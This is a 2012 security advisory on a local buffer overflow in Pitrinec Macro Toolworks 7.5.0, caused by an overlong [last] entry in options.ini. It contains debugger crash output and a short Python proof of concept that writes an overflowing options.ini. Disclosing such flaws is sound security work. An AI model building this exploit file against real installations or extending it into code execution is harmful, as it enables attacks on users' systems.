Pitrinec Macro Toolwork 7.5 - Buffer Overflow Vulnerability

Document Title:
===============
Pitrinec Macro Toolwork 7.5 - Buffer Overflow Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=466


Release Date:
=============
2012-03-07


Vulnerability Laboratory ID (VL-ID):
====================================
466


Common Vulnerability Scoring System:
====================================
4.4


Product & Service Introduction:
===============================
Macro Toolworks is powerful all-in-one Windows automation macro software. It allows user to record macros, 
visually edit macros and playback macros in any Windows application. Each macro can be triggered multiple ways 
depending on the user s  needs: by keyboard shortcuts, mouse clicks or other events, macro scheduler, hotkey, 
toolbars, etc. Macros recorded in macro recorder (both keyboard recorder and mouse recorder) can be manually 
edited and optimized. Macros can simply mimic user by sending Windows keys and mouse clicks or they can do even 
more complex repetitive daily tasks such as file backups and other file manipulation, fill web forms, e-mail 
writing, chatting, inserting data to database forms, files downloading/uploading, file and directory zipping 
and encryption and more ...

(Copy of the Vendor Homepage: http://www.pitrinec.com/toolsworks_de.htm )


Abstract Advisory Information:
==============================
A Vulnerability Laboratory Researcher discovered a Local Buffer Overflow vulnerability on Pitrinec Software Macro Toolworks Free/Standard/Pro v7.5.0. 


Vulnerability Disclosure Timeline:
==================================
2012-03-08:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================
Pitrinec Software
Product: Macro Toolworks Framework Free, Pro & Standard 7.5.0


Exploitation Technique:
=======================
Local


Severity Level:
===============
Medium


Technical Details & Description:
================================
A Buffer Overflow vulnerability is detected on Pitrinecs Software Macro Toolworks Free/Standard/Pro v7.5.0 Edition (current version). 
The vulnerability is located in the main executeable _prog.exe, which gets invoked e.g. by 
the _loader.exe or by StartMacroToolworks.exe. When launching the _prog.exe or one executeable 
which invokes the _prog.exe, it automatically reads the contents of the options.ini from the 
application directory. It reads the [last] section string to determine which files have been 
opened at last by the user. The application does validate the string length of the [last] section 
before passing the content to a buffer, which could lead to a local buffer overflow.


---  Debugger  ---
# 646D36: The instruction at 0x646D36 referenced memory at 0x42424242. The memory could not be read -> 42424242 (exc.code c0000005, tid 3128)

# Registers:
# EAX 0120EA00 Stack[000004C8]:0120EA00
# EBX FFFFFFFF 
# ECX 42424242 
# EDX 00000002 
# ESI 007F6348 _prog.exe:007F6348
# EDI 007F6348 _prog.exe:007F6348
# EBP 0120EA0C Stack[000004C8]:0120EA0C
# ESP 0120E9E8 Stack[000004C8]:0120E9E8
# EIP 00646D36 _prog.exe:00646D36
# EFL 00200206

# Stack:
# 0120E9E0  0012DF3C
# 0120E9E4  00000000
# 0120E9E8  0205A5A0  debug045:0205A5A0
# 0120E9EC  1B879EF8
# 0120E9F0  007F6348  _prog.exe:007F6348
# 0120E9F4  007F6348  _prog.exe:007F6348

# Crash:
# _prog.exe:00646D36 ; ---------------------------------------------------------------------------
# _prog.exe:00646D36 mov     eax, [ecx]
# _prog.exe:00646D38 call    dword ptr [eax+0Ch]
# _prog.exe:00646D3B call    near ptr unk_6750D0
# _prog.exe:00646D40 retn    4
# _prog.exe:00646D40 ; ---------------------------------------------------------------------------

# Dump:
# 007F6380  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
# 007F6390  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
# 007F63A0  42 42 42 42 43 43 43 43  43 43 43 43 43 43 43 43  BBBBCCCCCCCCCCCC
# 007F63B0  43 43 43 43 43 43 43 43  43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
# 007F63C0  43 43 43 43 43 43 43 43  43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC

Note: Affected are all other products provided by Pitrinec Software which use the _prog.exe too.

Picture(s):
                                                   ../1.png


Proof of Concept (PoC):
=======================
The buffer overflow vulnerability can be exploited by local attackers without user inter action. For demonstration or reproduce ...

#!/usr/bin/python
 
# Exploit Title: Pitrinec Software Macro Toolworks Free/Standard/Pro v7.5.0 Local Buffer Overflow
# Version:       7.5.0
# Date:          2012-03-04
# Author:        Julien Ahrens
# Homepage:      http://www.inshell.net
# Software Link: http://www.macrotoolworks.com
# Tested on:     Windows XP SP3 Professional German / Windows 7 SP1 Home Premium German
# Notes:         Overflow occurs in _prog.exe, vulnerable are all Pitrinec applications on the same way.
# Howto:         Copy options.ini to App-Dir --> Launch

# 646D36: The instruction at 0x646D36 referenced memory at 0x42424242. The memory could not be read -> 42424242 (exc.code c0000005, tid 3128)

# Registers:
# EAX 0120EA00 Stack[000004C8]:0120EA00
# EBX FFFFFFFF 
# ECX 42424242 
# EDX 00000002 
# ESI 007F6348 _prog.exe:007F6348
# EDI 007F6348 _prog.exe:007F6348
# EBP 0120EA0C Stack[000004C8]:0120EA0C
# ESP 0120E9E8 Stack[000004C8]:0120E9E8
# EIP 00646D36 _prog.exe:00646D36
# EFL 00200206

# Stack:
# 0120E9E0  0012DF3C
# 0120E9E4  00000000
# 0120E9E8  0205A5A0  debug045:0205A5A0
# 0120E9EC  1B879EF8
# 0120E9F0  007F6348  _prog.exe:007F6348
# 0120E9F4  007F6348  _prog.exe:007F6348

# Crash:
# _prog.exe:00646D36 ; ---------------------------------------------------------------------------
# _prog.exe:00646D36 mov     eax, [ecx]
# _prog.exe:00646D38 call    dword ptr [eax+0Ch]
# _prog.exe:00646D3B call    near ptr unk_6750D0
# _prog.exe:00646D40 retn    4
# _prog.exe:00646D40 ; ---------------------------------------------------------------------------

# Dump:
# 007F6380  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
# 007F6390  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
# 007F63A0  42 42 42 42 43 43 43 43  43 43 43 43 43 43 43 43  BBBBCCCCCCCCCCCC
# 007F63B0  43 43 43 43 43 43 43 43  43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
# 007F63C0  43 43 43 43 43 43 43 43  43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC

file="options.ini"

junk1="\x41" * 744
boom="\x42\x42\x42\x42"
junk2="\x43" * 100

poc="[last]\n"
poc=poc + "file=" + junk1 + boom + junk2 

try:
    print "[*] Creating exploit file...\n"
    writeFile = open (file, "w")
    writeFile.write( poc )
    writeFile.close()
    print "[*] File successfully created!"
except:
    print "[!] Error while creating file!"


Security Risk:
==============
The security risk of the local buffer overflow vulnerability is estimated as medium.


Credits & Authors:
==================
Vulnerability Research Laboratory   -    Julien Ahrens  (MrTuxracer)  


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=========================
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